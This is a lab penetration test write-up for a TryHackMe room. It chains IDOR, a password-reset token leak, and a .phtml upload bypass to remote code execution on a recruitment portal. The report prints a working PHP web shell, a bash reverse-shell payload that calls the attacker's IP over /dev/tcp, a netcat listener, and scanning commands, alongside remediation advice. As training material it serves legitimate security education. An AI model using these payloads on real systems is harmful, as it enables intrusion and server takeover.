

Web Application Penetration Test Report

RecruitX Internal Recruitment Portal
Target: 10.129.184.31 | Platform: TryHackMe

IDOR

ACCOUNT TAKEOVER FILE UPLOAD BYPASS

RCE

01 Engagement Overview

This report documents a guided web application penetration test conducted against RecruitX, an internal recruitment portal. The engagement was performed as part of the TryHackMe Guided Pentest: Web room. The objective was to assess the security posture of the web application by performing reconnaissance, enumeration, vulnerability discovery, and exploitation using real-world attack techniques. Starting from zero knowledge of the target, the assessment progressed through six chained vulnerabilities to achieve full remote code execution on the underlying server.

Target Application	RecruitX v2.4 - Internal Recruitment Portal
Target IP	10.129.184.31
Attacker IP	10.129.109.214 (TryHackMe AttackBox)
Platform	TryHackMe - Guided Pentest: Web
Server OS	Ubuntu Linux (Apache 2.4.58)
Technology Stack	LAMP - Linux, Apache, MySQL, PHP
Assessment Type	Black-box Web Application Penetration Test
Final Access Level	Remote Code Execution as www-data on recruitx-prod
Flag Retrieved	THM{ch41n3d_vulns_4r3_d3v4st4t1ng}

Vulnerability Summary

#	Vulnerability	Severity	Location
1	Insecure Direct Object Reference (IDOR)	High	/profile.php, /api/user
2	Broken Password Reset Mechanism	Critical	/reset.php
3	Missing Cookie Security Flags	Medium	PHPSESSID cookie
4	Unauthenticated API Endpoint	High	/api/user?id=
5	File Upload Filter Bypass (.phtml)	Critical	/admin/upload.php
6	Remote Code Execution via Web Shell	Critical	/uploads/documents/

02 Work Summary

The following steps document the complete attack chain in chronological order. Each step records what was done, why it was done, the exact commands used, and a plain-English explanation of the technique.

1 Nmap Port Scan

WHAT WAS DONE

Conducted a full TCP port scan with service and version detection against the target.

WHY

Before touching any application, a pentester must know what services are exposed. This scan revealed the full attack surface.

COMMAND(S)

```
nmap -sV -sC -T4 -p- 10.129.184.31
```

PLAIN EXPLANATION

Scans all 65,535 ports and probes each open one for its service name and version. -sC runs default scripts that grab extra details like cookie flags and page titles. Result: SSH (22), HTTP/RecruitX (80), MySQL (3306), HTTP/default (8080).

2 HTTP Header Analysis

WHAT WAS DONE

Retrieved HTTP response headers from the web server using curl.

WHY

Headers expose the technology stack and security misconfigurations before any login or interaction with the app.

COMMAND(S)

```
curl -I http://10.129.184.31
```

PLAIN EXPLANATION

Sends a HEAD request (headers only, no body) to the server. Confirmed Apache 2.4.58, PHP backend via PHPSESSID cookie, and missing HttpOnly and Secure flags on the session cookie.

3 Directory Enumeration with Gobuster

WHAT WAS DONE

Brute-forced hidden directories and PHP files on the web server.

WHY

The navigation bar only shows what the developer intended. Gobuster finds everything else: admin panels, upload endpoints, API routes, and backup files.

COMMAND(S)

```
gobuster dir -u http://10.129.184.31 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -x php
```

PLAIN EXPLANATION

Iterates every word in the wordlist, appends it to the base URL, and records any response that is not 404. Found: /admin, /api, /uploads, /config, /reset.php, /register.php, /test, and more.

4 User Enumeration via IDOR

WHAT WAS DONE

Accessed other users' profiles by incrementing the ?id= parameter in the URL and querying the API endpoint without authentication.

WHY

The application referenced user objects by a simple integer ID with no authorisation check. Any user could view any profile.

COMMAND(S)

```
curl -s "http://10.129.184.31/api/user?id=1"
curl -s "http://10.129.184.31/api/user?id=2"
curl -s "http://10.129.184.31/api/user?id=3"
```

PLAIN EXPLANATION

The API endpoint returned full JSON records (name, email, role, creation date) for any ID with no session cookie required. All five accounts were enumerated. Administrator Sarah Mitchell identified at ID 1 with email s.mitchell@recruitx.thm.

5

Account Takeover via Broken Password Reset

WHAT WAS DONE

Exploited a flawed password reset mechanism to take over the administrator account.

WHY

The reset token was exposed directly in the HTTP response, meaning any attacker who knew the target email could reset the password without access to the email inbox.

COMMAND(S)

```
# 1. Navigate to /reset.php and submit s.mitchell@recruitx.thm
# 2. Intercept response - token visible in HTTP response body
# 3. Use token to set new password for the administrator account
```

PLAIN EXPLANATION

A secure password reset sends the token only to the registered email. This application returned the token in the server response, bypassing email verification entirely. Full administrator access obtained.

6

File Upload Bypass using .phtml Extension

WHAT WAS DONE

Uploaded a PHP web shell by bypassing the file extension blocklist using the .phtml alternative extension.

WHY

The upload form blocked .php files but did not account for alternative extensions that Apache also executes as PHP. The client-side accept attribute was the only other restriction.

COMMAND(S)

```
echo '<?php if(isset($_GET["cmd"])){echo shell_exec($_GET["cmd"]);}?' > shell.phtml
# Upload shell.phtml via /admin/upload.php
curl "http://10.129.184.31/uploads/documents/shell.phtml?cmd=whoami"
```

PLAIN EXPLANATION

Apache executes .phtml as PHP by default. The blocklist only checked for .php. Once uploaded, any URL parameter passed to cmd= was executed on the server as the www-data user.

7

Reverse Shell and Full Server Access

WHAT WAS DONE

Upgraded the web shell to a full interactive reverse shell for persistent server access.

WHY

A web shell is limited - each command is a separate HTTP request with no interactive session. A reverse shell provides a proper terminal directly on the target machine.

COMMAND(S)

```
# Terminal 1 - start listener
nc -lvnp 4444

# Terminal 2 - trigger reverse shell through web shell
curl "http://10.129.184.31/uploads/documents/shell.phtml?cmd=bash+-c+'bash+-i+%26+/%dev/tcp/10.129.109.214/4444+0+%261'"

# On the reverse shell - read the flag
cat /var/www/flag.txt
```

PLAIN EXPLANATION

The payload tells the server to open a bash session and redirect its input/output to our machine on port 4444 over TCP. Netcat catches the incoming connection. Result: interactive shell as www-data on host recruitx-prod. Flag: THM{ch41n3d_vulns_4r3_d3v4st4t1ng}.

03 Detailed Findings

Each finding is documented with its location, technical description, business impact, and a concrete remediation recommendation.

F-01: Broken Password Reset Mechanism

Critical

LOCATION

`/reset.php`

DESCRIPTION

The password reset function returned the reset token directly in the HTTP response body. An attacker who knows a target email address can extract the token from the response and reset the password without any access to the email inbox.

IMPACT

Complete takeover of any user account including administrator accounts. In this engagement the administrator account was fully compromised, granting access to the admin panel and file upload functionality.

REMEDIATION

Send the reset token exclusively via email. Never include the token in the HTTP response. Use cryptographically secure random tokens of at least 32 bytes. Implement token expiry of 15 minutes or less.

F-02: Insecure Direct Object Reference on Profile and API

High

LOCATION

`/profile.php?id=N` and `/api/user?id=N`

DESCRIPTION

The application uses sequential integer IDs to reference user objects. No server-side authorisation check verifies whether the requesting session is permitted to access the requested resource. The `/api/user` endpoint exposes full user records with no authentication required at all.

IMPACT

Full enumeration of all user accounts, roles, and email addresses by any unauthenticated attacker. This directly enabled the password reset attack by providing the administrator email address.

REMEDIATION

Implement server-side authorisation on every request. Verify the session user is authorised to access the specific resource. Consider non-sequential UUIDs as identifiers to prevent enumeration.

F-03: File Upload Extension Blocklist Bypass

Critical

LOCATION

`/admin/upload.php -> /uploads/documents/`

DESCRIPTION

The file upload function uses a blocklist, rejecting .php files but not alternative PHP-executable extensions such as .phtml, .php5, or .phar. The client-side accept attribute was the only other restriction and was trivially bypassed.

IMPACT

An authenticated attacker with admin panel access can upload and execute arbitrary PHP code on the server, leading directly to remote code execution.

REMEDIATION

Replace the blocklist with an allowlist. Only permit .pdf, .docx, .jpg, .png. Validate file content using MIME type detection. Store uploaded files outside the web root so they cannot be executed by the web server.

F-04: Unauthenticated API Endpoint Disclosure

High

LOCATION

`/api/ -> /api/user, /api/jobs, /api/applications`

DESCRIPTION

The `/api/` directory and its endpoints are accessible without authentication. The `/api/user` endpoint returns structured JSON with user ID, name, email, role, and creation date for any ID value.

IMPACT

Complete user enumeration without any credentials. Exposes internal data structures and user roles to unauthenticated external parties.

REMEDIATION

Restrict all API endpoints to authenticated sessions. Apply the same authorisation model as the web interface. Remove or restrict the `/api/` index endpoint that lists available routes.

F-05: Missing Cookie Security Flags

Medium

LOCATION

Set-Cookie: PHPSESSID response header

DESCRIPTION

The PHPSESSID session cookie is issued without the HttpOnly or Secure flags. Without HttpOnly, the cookie is accessible to JavaScript. Without Secure, it may be transmitted over unencrypted HTTP connections.

IMPACT

If a reflected or stored XSS vulnerability were present, an attacker could steal session cookies and hijack authenticated sessions without knowing the user password.

REMEDIATION

Set both HttpOnly and Secure flags on all session cookies. In PHP this is configured via `session.cookie_httponly` and `session.cookie_secure` in `php.ini`, or via `session_set_cookie_params()` in application code.

04 Tools and Technologies

Tool / Technology	Category	Purpose in This Engagement
Nmap 7.93	Recon	Full TCP port scan, service/version detection, default script scanning
curl	HTTP Client	Header analysis, API enumeration, web shell interaction, reverse shell trigger
Gobuster 3.6	Enumeration	Directory and PHP file brute-forcing against the web server
PHP Web Shell	Exploitation	Custom .phtml payload to achieve remote command execution on the server
Netcat (nc)	Exploitation	Reverse shell listener on port 4444 to catch incoming connection from target
Firefox DevTools	Analysis	Inspecting cookies, form attributes, and HTML source during manual testing
TryHackMe AttackBox	Environment	Kali Linux-based attack platform with pre-installed security tooling
SecLists	Wordlists	directory-list-2.3-small.txt used for Gobuster enumeration
Apache 2.4.58	Target	Web server running the RecruitX application on Ubuntu Linux
MySQL	Target	Database backend exposed on port 3306 (externally accessible)
PHP	Target	Server-side language confirmed via PHPSESSID cookie and .phtml execution

05 Problems Encountered and Solutions

Problem 1 - Gobuster Wordlist Path Not Found

PROBLEM

Running Gobuster with the default dirbuster path from the room instructions returned an error: wordlist file does not exist.

ROOT CAUSE

The TryHackMe AttackBox organises SecLists under a different path than the instructions assumed. The file existed but at a different location.

FIX APPLIED

```
find / -name "directory-list-2.3-small.txt" 2>/dev/null  
# Result: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
```

RESULT

Gobuster ran successfully and returned the full directory listing.

Problem 2 - File Not Appearing in Browser File Picker

PROBLEM

After creating test.phtml with the echo command, the file did not appear in the Desktop folder when browsing via the upload form file picker.

ROOT CAUSE

The file picker GUI was not refreshing automatically. The terminal confirmed the file existed at ~/Desktop.

FIX APPLIED

```
# Used Ctrl+L in the file picker to open manual path input  
# Typed /root/Desktop and pressed Enter to navigate directly
```

RESULT

The file appeared and was selectable for upload.

Problem 3 - Reverse Shell Payload IP Confusion

PROBLEM

Initial confusion about which IP to use in the reverse shell payload.

ROOT CAUSE

Two machines are involved: the AttackBox (attacker) and the target server. The reverse shell payload must reference the AttackBox IP because the target needs to connect back to us.

FIX APPLIED

```
# AttackBox IP confirmed from TryHackMe machine panel: 10.129.109.214  
# Used in /dev/tcp/10.129.109.214/4444 portion of the bash payload
```

RESULT

Netcat received the incoming connection from 10.129.184.31 and an interactive shell was established.

06 Key Learnings

1. Vulnerabilities chain together in ways that individually seem minor.

The IDOR vulnerability on its own only leaked user emails. The broken password reset on its own required knowing a target email. Neither was critical in isolation. Together they enabled full administrator account takeover. A penetration tester must always think about how findings interact with each other rather than scoring them in isolation.

2. Enumeration is the most important phase.

Every vulnerability exploited in this engagement was found during the enumeration phase before any exploitation attempt. The /api endpoint, the /admin panel, the /uploads directory, and /reset.php were all discovered through directory brute-forcing and manual browsing. Without thorough enumeration, none of the subsequent attacks would have been possible.

3. Client-side restrictions provide zero security.

The file upload form used the HTML accept attribute to restrict which file types appeared in the browser file picker. This is bypassed by any attacker with basic technical knowledge. True file upload security requires server-side allowlisting combined with MIME type validation.

4. Password reset flows are high-risk features that need careful design.

The password reset mechanism is one of the most sensitive flows in any application because it is designed to bypass the normal authentication barrier. A single flaw - returning the token in the response rather than sending it to the registered email - converted a security feature into a complete authentication bypass.

5. Apache executes more extensions than just .php.

Apache's default configuration also executes .phtml, .php5, .phar, and other alternatives. A file upload filter that only blocks .php is incomplete. This is a well-documented misconfiguration but remains common in real applications.

6. A reverse shell is more useful than a web shell in practice.

A web shell executes one command per HTTP request. This makes it difficult to run interactive commands, use tools that expect a terminal, or maintain persistence. Upgrading to a reverse shell provides a proper interactive session and is standard practice once code execution is confirmed.

07 Final Notes

This engagement demonstrated that web application security failures rarely arise from a single catastrophic flaw. RecruitX was compromised through six connected weaknesses, each one building on information gathered in the previous step. The chain moved from passive enumeration through user data exposure, account takeover, and finally to remote code execution on the production server - all without exploiting any known CVE or using any automated exploitation framework.

The remediation recommendations in this report are prioritised by severity. The two critical findings - the broken password reset and the file upload bypass - should be addressed immediately as both can be exploited by a low-skilled attacker with basic HTTP knowledge and no specialised tools. The IDOR findings should follow as a second priority, as they provide the reconnaissance foundation for account-level attacks.

This report was produced as part of the TryHackMe Guided Pentest: Web room and serves as a portfolio piece demonstrating practical web application penetration testing methodology. All testing was conducted in a controlled lab environment with explicit authorisation.